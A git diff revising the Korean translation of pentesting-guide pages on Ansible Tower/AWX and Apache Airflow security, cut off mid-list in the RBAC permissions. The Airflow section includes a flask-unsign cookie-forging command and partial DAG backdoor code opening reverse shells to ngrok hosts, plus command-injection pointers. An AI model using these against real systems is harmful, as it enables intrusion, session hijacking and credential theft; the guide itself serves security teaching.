diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 7affd134e..bcedffb4d 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,36 +4,36 @@ ## Basic Information -**Ansible Tower** 또는 그 오픈소스 버전 [**AWX**](https://github.com/ansible/awx)는 **Ansible의 사용자 인터페이스, 대시보드 및 REST API**로 알려져 있습니다. **역할 기반 접근 제어**, 작업 예약 및 그래픽 인벤토리 관리를 통해 현대적인 UI에서 Ansible 인프라를 관리할 수 있습니다. Tower의 REST API 및 명령줄 인터페이스는 현재 도구 및 워크플로우에 통합하기 쉽게 만듭니다. +**Ansible Tower** 또는 오픈소스 버전 [**AWX**](https://github.com/ansible/awx)는 **Ansible의 사용자 인터페이스, 대시보드 및 REST API**로 알려져 있습니다. **역할 기반 접근 제어**, 작업 예약 및 그래픽 인벤토리 관리를 통해 현대적인 UI에서 Ansible 인프라를 관리할 수 있습니다. Tower의 REST API 및 명령줄 인터페이스는 현재 도구 및 워크플로우에 통합하기 쉽게 만듭니다. **Automation Controller는 더 많은 기능을 갖춘** Ansible Tower의 최신 버전입니다. ### Differences -[**이**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)에 따르면, Ansible Tower와 AWX의 주요 차이점은 받은 지원이며, Ansible Tower는 역할 기반 접근 제어, 사용자 정의 API 지원 및 사용자 정의 워크플로우와 같은 추가 기능을 가지고 있습니다. +[**이것**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)에 따르면, Ansible Tower와 AWX의 주요 차이점은 받은 지원과 Ansible Tower가 역할 기반 접근 제어, 사용자 정의 API 지원 및 사용자 정의 워크플로우와 같은 추가 기능을 갖추고 있다는 것입니다. ### Tech Stack - **Web Interface**: 사용자가 인벤토리, 자격 증명, 템플릿 및 작업을 관리할 수 있는 그래픽 인터페이스입니다. 직관적으로 설계되어 있으며 자동화 작업의 상태와 결과를 이해하는 데 도움이 되는 시각화를 제공합니다. -- **REST API**: 웹 인터페이스에서 할 수 있는 모든 작업을 REST API를 통해서도 수행할 수 있습니다. 이는 AWX/Tower를 다른 시스템과 통합하거나 일반적으로 인터페이스에서 수행하는 작업을 스크립트화할 수 있음을 의미합니다. +- **REST API**: 웹 인터페이스에서 할 수 있는 모든 작업을 REST API를 통해서도 수행할 수 있습니다. 이는 AWX/Tower를 다른 시스템과 통합하거나 인터페이스에서 일반적으로 수행하는 작업을 스크립트화할 수 있음을 의미합니다. - **Database**: AWX/Tower는 구성, 작업 결과 및 기타 필요한 운영 데이터를 저장하기 위해 데이터베이스(일반적으로 PostgreSQL)를 사용합니다. -- **RabbitMQ**: AWX/Tower가 다양한 구성 요소 간에, 특히 웹 서비스와 작업 실행기 간에 통신하는 데 사용하는 메시징 시스템입니다. +- **RabbitMQ**: AWX/Tower가 다양한 구성 요소 간에 통신하는 데 사용하는 메시징 시스템입니다. 특히 웹 서비스와 작업 실행기 간의 통신에 사용됩니다. - **Redis**: Redis는 캐시 및 작업 큐의 백엔드 역할을 합니다. ### Logical Components -- **Inventories**: 인벤토리는 **작업**(Ansible 플레이북)을 **실행할 수 있는 호스트(또는 노드)의 모음**입니다. AWX/Tower는 인벤토리를 정의하고 그룹화할 수 있으며, AWS, Azure 등과 같은 다른 시스템에서 **호스트 목록을 가져오는** 동적 인벤토리도 지원합니다. +- **Inventories**: 인벤토리는 **작업**(Ansible 플레이북)을 **실행할 수 있는 호스트(또는 노드)의 모음**입니다. AWX/Tower는 인벤토리를 정의하고 그룹화할 수 있으며 AWS, Azure 등과 같은 다른 시스템에서 **호스트 목록을 가져오는** 동적 인벤토리도 지원합니다. - **Projects**: 프로젝트는 본질적으로 **버전 관리 시스템**(예: Git)에서 소스된 **Ansible 플레이북의 모음**으로, 필요할 때 최신 플레이북을 가져옵니다. - **Templates**: 작업 템플릿은 **특정 플레이북이 어떻게 실행될 것인지** 정의하며, **인벤토리**, **자격 증명** 및 작업에 대한 기타 **매개변수**를 지정합니다. -- **Credentials**: AWX/Tower는 SSH 키, 비밀번호 및 API 토큰과 같은 비밀을 **관리하고 저장하는** 안전한 방법을 제공합니다. 이러한 자격 증명은 작업 템플릿과 연결되어 플레이북이 실행될 때 필요한 접근 권한을 가집니다. -- **Task Engine**: 마법이 일어나는 곳입니다. 작업 엔진은 Ansible을 기반으로 구축되며 **플레이북을 실행하는** 역할을 합니다. 작업은 작업 엔진에 배포되며, 지정된 인벤토리에 대해 지정된 자격 증명을 사용하여 Ansible 플레이북을 실행합니다. +- **Credentials**: AWX/Tower는 **SSH 키, 비밀번호 및 API 토큰**과 같은 비밀을 **관리하고 저장하는** 안전한 방법을 제공합니다. 이러한 자격 증명은 작업 템플릿과 연결되어 플레이북이 실행될 때 필요한 접근 권한을 가집니다. +- **Task Engine**: 마법이 일어나는 곳입니다. 작업 엔진은 Ansible을 기반으로 구축되어 있으며 **플레이북을 실행하는** 역할을 합니다. 작업은 작업 엔진에 배포되며, 지정된 인벤토리에 대해 지정된 자격 증명을 사용하여 Ansible 플레이북을 실행합니다. - **Schedulers and Callbacks**: AWX/Tower의 고급 기능으로, **작업을 특정 시간에 실행하도록 예약**하거나 외부 이벤트에 의해 트리거할 수 있습니다. - **Notifications**: AWX/Tower는 작업의 성공 또는 실패에 따라 알림을 보낼 수 있습니다. 이메일, Slack 메시지, 웹훅 등 다양한 알림 수단을 지원합니다. - **Ansible Playbooks**: Ansible 플레이북은 구성, 배포 및 오케스트레이션 도구입니다. 자동화되고 반복 가능한 방식으로 시스템의 원하는 상태를 설명합니다. YAML로 작성되며, 플레이북은 Ansible의 선언적 자동화 언어를 사용하여 구성, 작업 및 실행해야 할 단계를 설명합니다. ### Job Execution Flow -1. **User Interaction**: 사용자는 **Web Interface** 또는 **REST API**를 통해 AWX/Tower와 상호작용할 수 있습니다. 이는 AWX/Tower가 제공하는 모든 기능에 대한 프론트엔드 접근을 제공합니다. +1. **User Interaction**: 사용자는 **Web Interface** 또는 **REST API**를 통해 AWX/Tower와 상호작용할 수 있습니다. 이러한 방법은 AWX/Tower가 제공하는 모든 기능에 대한 프론트엔드 접근을 제공합니다. 2. **Job Initiation**: - 사용자는 웹 인터페이스 또는 API를 통해 **Job Template**에 기반하여 작업을 시작합니다. - 작업 템플릿에는 **인벤토리**, **프로젝트**(플레이북 포함) 및 **자격 증명**에 대한 참조가 포함됩니다. @@ -47,16 +47,16 @@ - 플레이북이 실행되는 동안 실행 출력(로그, 사실 등)이 캡처되어 **Database**에 저장됩니다. 5. **Job Results**: - 플레이북 실행이 완료되면 결과(성공, 실패, 로그)가 **Database**에 저장됩니다. -- 사용자는 웹 인터페이스를 통해 결과를 보거나 REST API를 통해 쿼리할 수 있습니다. -- 작업 결과에 따라 **Notifications**가 전송되어 사용자 또는 외부 시스템에 작업 상태를 알릴 수 있습니다. 알림은 이메일, Slack 메시지, 웹훅 등이 될 수 있습니다. +- 사용자는 웹 인터페이스를 통해 결과를 확인하거나 REST API를 통해 쿼리할 수 있습니다. +- 작업 결과에 따라 **Notifications**가 사용자 또는 외부 시스템에 작업 상태를 알리기 위해 전송될 수 있습니다. 알림은 이메일, Slack 메시지, 웹훅 등이 될 수 있습니다. 6. **External Systems Integration**: - **Inventories**는 외부 시스템에서 동적으로 소싱할 수 있어 AWX/Tower가 AWS, Azure, VMware 등과 같은 소스에서 호스트를 가져올 수 있습니다. - **Projects**(플레이북)는 버전 관리 시스템에서 가져올 수 있어 작업 실행 중 최신 플레이북을 사용할 수 있습니다. -- **Schedulers and Callbacks**는 다른 시스템이나 도구와 통합하는 데 사용될 수 있어 AWX/Tower가 외부 트리거에 반응하거나 미리 정해진 시간에 작업을 실행할 수 있습니다. +- **Schedulers and Callbacks**는 다른 시스템이나 도구와 통합하는 데 사용될 수 있어 AWX/Tower가 외부 트리거에 반응하거나 미리 정해진 시간에 작업을 실행할 수 있게 합니다. ### AWX lab creation for testing -[**문서를 따르면서**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) docker-compose를 사용하여 AWX를 실행할 수 있습니다: +[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) docker-compose를 사용하여 AWX를 실행할 수 있습니다: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -88,11 +88,11 @@ docker exec tools_awx_1 awx-manage create_preload_data 가장 권한이 높은 역할은 **시스템 관리자**라고 합니다. 이 역할을 가진 사람은 **모든 것을 수정할 수 있습니다**. -**화이트 박스 보안** 검토를 위해서는 **시스템 감사자 역할**이 필요하며, 이 역할은 **모든 시스템 데이터를 볼 수 있지만** 변경할 수는 없습니다. 다른 옵션은 **조직 감사자 역할**을 얻는 것이지만, 다른 역할을 얻는 것이 더 좋습니다. +**화이트 박스 보안** 검토에서는 **시스템 감사자 역할**이 필요하며, 이 역할은 **모든 시스템 데이터를 볼 수 있지만** 변경할 수는 없습니다. 다른 옵션은 **조직 감사자 역할**을 얻는 것이지만, 다른 역할을 얻는 것이 더 좋습니다.
-사용 가능한 역할에 대한 자세한 설명을 보려면 확장하세요 +사용 가능한 역할에 대한 자세한 설명을 보려면 여기를 확장하세요 1. **시스템 관리자**: - 시스템의 모든 리소스에 접근하고 수정할 수 있는 슈퍼유저 역할입니다. @@ -127,9 +127,9 @@ docker exec tools_awx_1 awx-manage create_preload_data 8. **팀 역할**: - **회원**: 팀의 일원이지만 특정 권한이 없습니다. - **관리자**: 팀의 구성원 및 관련 리소스를 관리할 수 있습니다. -9. **워크플로우 역할**: -- **관리자**: 워크플로우를 관리하고 수정할 수 있습니다. -- **실행**: 워크플로우를 실행할 수 있습니다. +9. **워크플로 역할**: +- **관리자**: 워크플로를 관리하고 수정할 수 있습니다. +- **실행**: 워크플로를 실행할 수 있습니다. - **읽기**: 보기 전용 접근.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 1c8fa7503..12790aa47 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -2,21 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### 기본 정보 -[**Apache Airflow**](https://airflow.apache.org)는 **데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼**으로 사용됩니다. 데이터 파이프라인의 맥락에서 "조정"이라는 용어는 다양한 출처에서 발생하는 복잡한 데이터 워크플로우를 정리하고, 조정하며, 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리되고 소비 가능한 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신 러닝 모델을 포함하되 이에 국한되지 않는 수많은 애플리케이션에서 광범위하게 사용되며, 이는 빅 데이터 애플리케이션의 기능에 기초가 됩니다. +[**Apache Airflow**](https://airflow.apache.org)는 **데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼**으로 사용됩니다. 데이터 파이프라인의 맥락에서 "조정"이라는 용어는 다양한 출처에서 발생하는 복잡한 데이터 워크플로우를 정리하고, 조정하며, 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리되고 소비 가능한 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신 러닝 모델 등 다양한 애플리케이션에서 광범위하게 사용되며, 이는 빅 데이터 애플리케이션의 기능에 필수적입니다. 기본적으로, Apache Airflow는 **무언가**(이벤트, 크론)가 **발생할 때 코드 실행을 예약할 수 있게 해줍니다**. -### Local Lab +### 로컬 실험실 #### Docker-Compose -[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml)에서 **docker-compose 구성 파일**을 사용하여 완전한 apache airflow 도커 환경을 시작할 수 있습니다. (MacOS를 사용하는 경우 도커 VM에 최소 6GB의 RAM을 할당해야 합니다). +[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml)에서 **docker-compose 구성 파일을 사용하여** 완전한 apache airflow 도커 환경을 시작할 수 있습니다. (MacOS를 사용하는 경우 도커 VM에 최소 6GB의 RAM을 할당해야 합니다). #### Minikube -**apache airflow**를 실행하는 한 가지 쉬운 방법은 **minikube로 실행하는 것**입니다: +**apache airflow**를 실행하는 쉬운 방법 중 하나는 **minikube로 실행하는 것입니다**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -26,7 +26,7 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` -### Airflow Configuration +### Airflow 구성 Airflow는 **민감한 정보**를 구성에 저장할 수 있으며, 약한 구성이 있을 수 있습니다: @@ -36,17 +36,17 @@ airflow-configuration.md ### Airflow RBAC -Airflow를 공격하기 전에 **권한이 어떻게 작동하는지** 이해해야 합니다: +Airflow를 공격하기 전에 **권한 작동 방식**을 이해해야 합니다: {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### 공격 -#### Web Console Enumeration +#### 웹 콘솔 열거 -**웹 콘솔에 접근할 수 있다면** 다음 정보 중 일부 또는 전부에 접근할 수 있습니다: +**웹 콘솔에 접근할 수** 있다면 다음 정보 중 일부 또는 전부에 접근할 수 있습니다: - **변수** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다) - **연결** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다) @@ -55,29 +55,29 @@ airflow-rbac.md - **사용자 및 역할** 목록 - **각 DAG의 코드** (흥미로운 정보가 포함될 수 있습니다) -#### Retrieve Variables Values +#### 변수 값 검색 -변수는 Airflow에 저장될 수 있어 **DAGs**가 그 값을 **접근**할 수 있습니다. 이는 다른 플랫폼의 비밀과 유사합니다. **충분한 권한**이 있다면 `http:///variable/list/`의 GUI에서 접근할 수 있습니다.\ +변수는 Airflow에 저장될 수 있어 **DAGs**가 **값에 접근**할 수 있습니다. 이는 다른 플랫폼의 비밀과 유사합니다. **충분한 권한**이 있다면 `http:///variable/list/`의 GUI에서 접근할 수 있습니다.\ Airflow는 기본적으로 GUI에서 변수의 값을 표시하지만, [**이**](https://marclamberti.com/blog/variables-with-apache-airflow/)에 따르면 **값**이 **별표**로 표시되는 **변수 목록**을 설정할 수 있습니다. ![](<../../images/image (164).png>) -그러나 이러한 **값**은 여전히 **CLI**를 통해 **가져올 수** 있습니다 (DB 접근이 필요함), **임의의 DAG** 실행, **API**를 통해 변수 엔드포인트에 접근 (API가 활성화되어야 함), **심지어 GUI 자체에서도!**\ +그러나 이러한 **값**은 여전히 **CLI**를 통해 **검색**할 수 있으며 (DB 접근이 필요), **임의의 DAG** 실행, **API**를 통해 변수 엔드포인트에 접근 (API가 활성화되어야 함), **심지어 GUI 자체**를 통해서도 가능합니다!\ GUI에서 이러한 값에 접근하려면 **접근하고자 하는 변수**를 선택하고 **작업 -> 내보내기**를 클릭하면 됩니다.\ 또 다른 방법은 **검색 필터링**을 사용하여 **숨겨진 값**에 대해 **브루트포스**를 수행하는 것입니다: ![](<../../images/image (152).png>) -#### Privilege Escalation +#### 권한 상승 -**`expose_config`** 구성이 **True**로 설정되어 있다면, **User** 역할 및 **상위 역할**은 **웹에서 구성**을 **읽을 수** 있습니다. 이 구성에는 **`secret_key`**가 나타나며, 이는 유효한 사용자가 **자신의 서명된 쿠키를 생성하여 다른 사용자 계정을 가장할 수** 있음을 의미합니다. +**`expose_config`** 구성이 **True**로 설정된 경우, **User** 역할 및 **상위** 역할은 **웹에서 구성**을 **읽을 수** 있습니다. 이 구성에는 **`secret_key`**가 나타나며, 이는 유효한 사용자가 **자신의 서명된 쿠키를 생성하여 다른 사용자 계정을 가장할 수** 있음을 의미합니다. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG 백도어 (Airflow 작업자에서 RCE) -**DAGs가 저장된** 위치에 **쓰기 권한**이 있다면, **역방향 셸**을 보내는 **하나를 생성**할 수 있습니다.\ -이 역방향 셸은 **airflow 작업자 컨테이너** 내에서 실행될 것입니다: +**DAGs가 저장된** 위치에 **쓰기 권한**이 있다면, **역쉘**을 보내는 **하나를 생성**할 수 있습니다.\ +이 역쉘은 **airflow worker container** 내에서 실행될 것입니다: ```python import pendulum from airflow import DAG @@ -116,9 +116,9 @@ python_callable=rs, op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ) ``` -#### DAG 백도어 (Airflow 스케줄러의 RCE) +#### DAG 백도어 (Airflow 스케줄러에서 RCE) -코드의 **루트에서 실행되도록 설정**하면, 이 글을 작성하는 순간, DAG 폴더에 넣은 후 몇 초 후에 **스케줄러에 의해 실행**됩니다. +코드의 **루트에서 실행되도록 설정**하면, 이 글을 작성하는 시점에서 DAG의 폴더에 넣은 후 몇 초 후에 **스케줄러에 의해 실행**됩니다. ```python import pendulum, socket, os, pty from airflow import DAG @@ -144,22 +144,22 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### DAG 생성 -만약 **DAG 클러스터 내의 머신을 손상시키는 데 성공한다면**, `dags/` 폴더에 새로운 **DAG 스크립트**를 생성할 수 있으며, 이 스크립트는 **DAG 클러스터 내의 나머지 머신에 복제됩니다**. +DAG 클러스터 내의 **머신을 손상시키는 데 성공하면**, `dags/` 폴더에 새로운 **DAG 스크립트**를 생성할 수 있으며, 이 스크립트는 DAG 클러스터 내의 **다른 머신에 복제됩니다**. #### DAG 코드 주입 GUI에서 DAG를 실행할 때 **인수를 전달**할 수 있습니다.\ -따라서, DAG가 제대로 코딩되지 않았다면 **명령어 주입에 취약할 수 있습니다.**\ -이것이 이 CVE에서 발생한 일입니다: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) +따라서 DAG가 제대로 코딩되지 않으면 **명령어 주입에 취약할 수 있습니다.**\ +이 CVE에서 발생한 일입니다: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -**DAG에서 명령어 주입을 찾기 시작하기 위해 알아야 할 모든 것은** **매개변수**가 **코드 `dag_run.conf.get("param_name")`로 **접근된다는 것입니다**. +DAG에서 **명령어 주입을 찾기 시작하기 위해 알아야 할 모든 것은** **매개변수**가 **코드 `dag_run.conf.get("param_name")`**로 **접근된다는 것입니다**. -게다가, 같은 취약점이 **변수**에서도 발생할 수 있습니다 (충분한 권한이 있다면 GUI에서 **변수의 값을 제어할 수 있습니다**). 변수는 **다음과 같이 접근됩니다**: +게다가, 동일한 취약점이 **변수**에서도 발생할 수 있습니다(충분한 권한이 있으면 GUI에서 **변수의 값을 제어할 수 있습니다**). 변수는 **다음과 같이 접근됩니다**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` -예를 들어 bash 명령어 안에서 사용된다면, 명령어 주입을 수행할 수 있습니다. +예를 들어 bash 명령어 안에서 사용된다면, 명령어 주입을 수행할 수 있습니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index c45dd3ceb..8441ba079 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -8,12 +8,12 @@ **이 파일에 접근하는 방법은 두 가지입니다: 일부 airflow 머신을 손상시키거나 웹 콘솔에 접근하는 것입니다.** -**config file의 값**은 **사용되는 값이 아닐 수 있습니다**, 환경 변수를 설정하여 덮어쓸 수 있습니다. 예: `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +**config file의 값**은 **사용되는 값이 아닐 수 있습니다**, 환경 변수를 설정하여 덮어쓸 수 있습니다, 예: `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. **웹 서버의 config file에 접근할 수 있다면**, config가 표시되는 동일한 페이지에서 **실제 실행 구성**을 확인할 수 있습니다.\ **airflow 환경 내의 일부 머신에 접근할 수 있다면**, **환경**을 확인하십시오. -config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값: +config file을 읽을 때 확인할 흥미로운 값들: ### \[api] @@ -25,10 +25,10 @@ config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값: - `airflow.api.auth.backend.default`: **모두가** 인증 없이 접근할 수 있습니다. - `airflow.api.auth.backend.kerberos_auth`: **kerberos 인증**을 구성합니다. - `airflow.api.auth.backend.basic_auth`: **기본 인증**을 위한 것입니다. -- `airflow.composer.api.backend.composer_auth`: 작곡가 인증(GCP)을 사용합니다 ( [**여기**](https://cloud.google.com/composer/docs/access-airflow-api)에서). +- `airflow.composer.api.backend.composer_auth`: 작곡가 인증(GCP)을 사용합니다 ( [**여기서**](https://cloud.google.com/composer/docs/access-airflow-api) ). - `composer_auth_user_registration_role`: 이는 **airflow** 내에서 **작곡가 사용자**가 가질 **역할**을 나타냅니다 (**Op**가 기본값입니다). - 또한 **자신만의 인증** 방법을 파이썬으로 만들 수 있습니다. -- **`google_key_path`:** **GCP 서비스 계정 키**의 경로입니다. +- **`google_key_path`:** **GCP 서비스 계정 키**에 대한 경로입니다. ### **\[atlas]** @@ -38,32 +38,32 @@ config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값: ### \[celery] - **`flower_basic_auth`** : 자격 증명 (_user1:password1,user2:password2_) -- **`result_backend`**: **자격 증명**을 포함할 수 있는 Postgres URL. -- **`ssl_cacert`**: cacert의 경로 -- **`ssl_cert`**: 인증서의 경로 -- **`ssl_key`**: 키의 경로 +- **`result_backend`**: **자격 증명**을 포함할 수 있는 Postgres URL입니다. +- **`ssl_cacert`**: cacert에 대한 경로 +- **`ssl_cert`**: 인증서에 대한 경로 +- **`ssl_key`**: 키에 대한 경로 ### \[core] -- **`dag_discovery_safe_mode`**: 기본적으로 활성화되어 있습니다. DAG를 발견할 때 `DAG` 및 `airflow` 문자열이 포함되지 않은 파일은 무시합니다. +- **`dag_discovery_safe_mode`**: 기본적으로 활성화되어 있습니다. DAG를 발견할 때 `DAG`와 `airflow` 문자열이 포함되지 않은 파일은 무시합니다. - **`fernet_key`**: 암호화된 변수를 저장하기 위한 키(대칭) - **`hide_sensitive_var_conn_fields`**: 기본적으로 활성화되어 있으며, 연결의 민감한 정보를 숨깁니다. -- **`security`**: 사용할 보안 모듈(예: kerberos) +- **`security`**: 사용할 보안 모듈 (예: kerberos) ### \[dask] -- **`tls_ca`**: ca의 경로 -- **`tls_cert`**: 인증서의 경로 -- **`tls_key`**: tls 키의 경로 +- **`tls_ca`**: ca에 대한 경로 +- **`tls_cert`**: 인증서에 대한 경로 +- **`tls_key`**: tls 키에 대한 경로 ### \[kerberos] -- **`ccache`**: ccache 파일의 경로 +- **`ccache`**: ccache 파일에 대한 경로 - **`forwardable`**: 기본적으로 활성화되어 있습니다. ### \[logging] -- **`google_key_path`**: GCP JSON 자격 증명의 경로입니다. +- **`google_key_path`**: GCP JSON 자격 증명에 대한 경로입니다. ### \[secrets] @@ -78,17 +78,17 @@ config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값: ### \[webserver] - **`cookie_samesite`**: 기본적으로 **Lax**이며, 따라서 이미 가능한 가장 약한 값입니다. -- **`cookie_secure`**: 세션 쿠키에 **보안 플래그** 설정 -- **`expose_config`**: 기본값은 False이며, true인 경우 **config**를 웹 **콘솔**에서 **읽을 수 있습니다.** -- **`expose_stacktrace`**: 기본값은 True이며, **python tracebacks**를 표시합니다 (공격자에게 유용할 수 있음). -- **`secret_key`**: 이는 **flask가 쿠키에 서명하는 데 사용하는 키**입니다 (이 키가 있으면 **Airflow에서 모든 사용자를 가장할 수 있습니다**). -- **`web_server_ssl_cert`**: **SSL** **인증서**의 **경로**입니다. -- **`web_server_ssl_key`**: **SSL** **키**의 **경로**입니다. +- **`cookie_secure`**: 세션 쿠키에 **보안 플래그**를 설정합니다. +- **`expose_config`**: 기본값은 False이며, true일 경우 **config**를 웹 **콘솔**에서 **읽을 수 있습니다**. +- **`expose_stacktrace`**: 기본값은 True이며, **파이썬 추적**을 표시합니다 (공격자에게 유용할 수 있습니다). +- **`secret_key`**: 이는 쿠키에 서명하기 위해 flask가 사용하는 **키**입니다 (이 키가 있으면 **Airflow에서 모든 사용자를 가장할 수 있습니다**). +- **`web_server_ssl_cert`**: **SSL** **인증서**에 대한 **경로**입니다. +- **`web_server_ssl_key`**: **SSL** **키**에 대한 **경로**입니다. - **`x_frame_enabled`**: 기본값은 **True**이며, 따라서 기본적으로 클릭재킹이 불가능합니다. ### Web Authentication -기본적으로 **웹 인증**은 **`webserver_config.py`** 파일에 지정되어 있으며 다음과 같이 구성됩니다. +기본적으로 **웹 인증**은 **`webserver_config.py`** 파일에 지정되어 있으며 구성됩니다. ```bash AUTH_TYPE = AUTH_DB ``` @@ -96,7 +96,7 @@ AUTH_TYPE = AUTH_DB ```bash AUTH_TYPE = AUTH_OAUTH ``` -**제3자 서비스에 인증을 맡기기 위해.** +**제3자 서비스에 인증을 맡기기 위해서**. 그러나 **익명 사용자 접근을 허용하는** 옵션도 있으며, 다음 매개변수를 **원하는 역할**로 설정할 수 있습니다: ```bash diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 1eaf2d6ec..6ef9d031c 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,7 +4,7 @@ ## RBAC -(문서에서)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow는 기본적으로 **역할 세트**를 제공합니다: **Admin**, **User**, **Op**, **Viewer**, 및 **Public**. **오직 `Admin`** 사용자만이 **다른 역할의 권한을 구성/변경할 수 있습니다**. 그러나 `Admin` 사용자가 이러한 기본 역할을 권한을 제거하거나 추가하여 변경하는 것은 권장되지 않습니다. +(문서에서)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow는 기본적으로 **역할 세트**를 제공합니다: **Admin**, **User**, **Op**, **Viewer**, 및 **Public**. **오직 `Admin`** 사용자만이 **다른 역할의 권한을 구성/변경할 수 있습니다**. 그러나 `Admin` 사용자가 이러한 기본 역할을 변경하여 권한을 추가하거나 제거하는 것은 권장되지 않습니다. - **`Admin`** 사용자는 모든 가능한 권한을 가집니다. - **`Public`** 사용자는 권한이 없습니다. @@ -12,9 +12,9 @@ - **`User`** 사용자는 `Viewer` 권한과 추가적인 사용자 권한을 가지고 있어 DAG를 약간 관리할 수 있습니다. 그는 **구성 파일을 볼 수 있습니다.** - **`Op`** 사용자는 `User` 권한과 추가적인 운영 권한을 가집니다. -**Admin** 사용자는 **더 많은 역할을 생성**하고 더 **세분화된 권한**을 부여할 수 있습니다. +**admin** 사용자는 **더 많은 역할**을 **더 세분화된 권한**으로 생성할 수 있습니다. -또한 **사용자 및 역할을 나열할 수 있는 권한이 있는 유일한 기본 역할은 Admin이며, Op조차도 이를 수행할 수 없습니다.** +또한 **사용자와 역할을 나열할 수 있는 권한이 있는 유일한 기본 역할은 Admin이며, Op조차도 이를 수행할 수 없습니다.** ### 기본 권한 @@ -22,19 +22,19 @@ - **Admin** -\[Connections에서 삭제할 수 있으며, Connections에서 읽을 수 있으며, Connections에서 편집할 수 있으며, Connections에서 생성할 수 있으며, DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, Pools에서 삭제할 수 있으며, Pools에서 읽을 수 있으며, Pools에서 편집할 수 있으며, Pools에서 생성할 수 있으며, Providers에서 읽을 수 있으며, Variables에서 삭제할 수 있으며, Variables에서 읽을 수 있으며, Variables에서 편집할 수 있으며, Variables에서 생성할 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Configurations에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, Roles에서 읽을 수 있으며, Permissions에서 읽을 수 있으며, Roles에서 삭제할 수 있으며, Roles에서 편집할 수 있으며, Roles에서 생성할 수 있으며, Users에서 읽을 수 있으며, Users에서 생성할 수 있으며, Users에서 편집할 수 있으며, Users에서 삭제할 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task 